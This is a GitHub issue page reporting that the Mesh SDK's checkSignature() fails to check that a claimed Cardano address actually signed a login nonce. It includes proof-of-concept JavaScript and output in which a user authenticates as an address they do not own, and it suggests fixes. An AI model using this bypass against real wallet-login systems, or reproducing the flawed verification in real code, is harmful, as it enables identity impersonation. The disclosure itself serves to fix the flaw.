You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
The problem is the function doesn't verify if an specified address is the one who signed the message.
Someone can exploit this lack of functionality to fake their identity by proving ownership of an address which they don't even own.
To Reproduce
Here is a code example:
// frontend.jsconst{ MeshWallet }=require("@meshsdk/core");const{ backendGetNonce, backendVerifySignature }=require("./backend");varwallet=null;constotherAddress="stake_test1AbcD";varnonce=null;asyncfunctionfrontendGenerateWallet(){wallet=newMeshWallet({networkId: 0,key: {type: "mnemonic",words: newArray(24).fill("solution")},});}asyncfunctionfrontendStartLoginProcess(){console.log("Start login process...");constuserAddress=(awaitwallet.getRewardAddresses())[0];console.log("Wallet address to register / sign-in with:",otherAddress);console.log("My owned wallet address:",userAddress);// Send request with 'otherAddress' to the backend, instead of the owned addressnonce=awaitbackendGetNonce(otherAddress);}asyncfunctionfrontendSignMessage(){console.log("\nSigning message...");try{// Sign data with owned wallet addressconstuserAddress=(awaitwallet.getRewardAddresses())[0];constsignature=awaitwallet.signData(nonce,userAddress);// Send request with 'signature' and 'otherAddress' to the backendawaitbackendVerifySignature(otherAddress,signature);}catch(error){console.error(error);}}module.exports={
frontendGenerateWallet,
frontendStartLoginProcess,
frontendSignMessage,};
// backend.jsconst{ checkSignature, generateNonce }=require("@meshsdk/core");constuserDbStore={};// { userAddress: nonce }asyncfunctionbackendGetNonce(userAddress){constnonce=generateNonce("Sign to login in to Mesh: ");// Store nonce in user model in the databaseuserDbStore[userAddress]=nonce;// console.log("Nonce:", nonce);returnnonce;}asyncfunctionbackendVerifySignature(userAddress,signature){// Get 'nonce' from user (database) using 'userAddress'constnonce=userDbStore[userAddress];constresult=checkSignature(nonce,signature);// do: update 'nonce' in the database with another random string// do: do whatever you need to do, once the user has proven ownership// it could be creating a valid JSON Web Token (JWT) or session// it could be doing something offchain// it could just be updating something in the databaseif(result===true){console.log("Backend: this user address is authenticated:",userAddress);}returnresult;}module.exports={
backendGetNonce,
backendVerifySignature,};
Start login process...
Wallet address to register / sign-in with: stake_test1AbcD
My owned wallet address: stake_test1uzw5mnt7g4xjgdqkfa80hrk7kdvds6sa4k0vvgjvlj7w8eskffj2n
Signing message...
Backend: this user address is authenticated: stake_test1AbcD
Expected behavior
The backend shouldn't have authenticated stake_test1AbcD.
Station
OS: Windows
Version 11
Possible solutions
The checkSignature() function should be upgraded to take more arguments.
Cardano Foundation's verifyDataSignature() function takes the plain text message and wallet address as additional arguments, which can be used to verify if the specified wallet address is the one who signed the message. https://github.com/cardano-foundation/cardano-verify-datasignature
There might be some other solution which I'm not sure about:
signData() returns an object containing a signature and a key
If that key is related to the account used for signing the message, then inside the checkSignature() function, either the key should be extracted from a specified 'userAddress', or vice-versa (whichever is technically feasible). Then the key and the provided address should be matched. The specified 'userAddress' can be called to be the signer of the message only if it is linked to that key. Otherwise the authentication should fail.
Additional context
I've also submitted a documentation issue: #345
The text was updated successfully, but these errors were encountered:
Description of the bug
There is an official guide describing how to prove wallet ownership using Mesh SDK's checkSignature() method.
https://meshjs.dev/guides/prove-wallet-ownership
To Reproduce
Here is a code example:
Run:
Output:
Expected behavior
The backend shouldn't have authenticated
stake_test1AbcD
.Station
Possible solutions
https://github.com/cardano-foundation/cardano-verify-datasignature
There might be some other solution which I'm not sure about:
Additional context
I've also submitted a documentation issue: #345
The text was updated successfully, but these errors were encountered: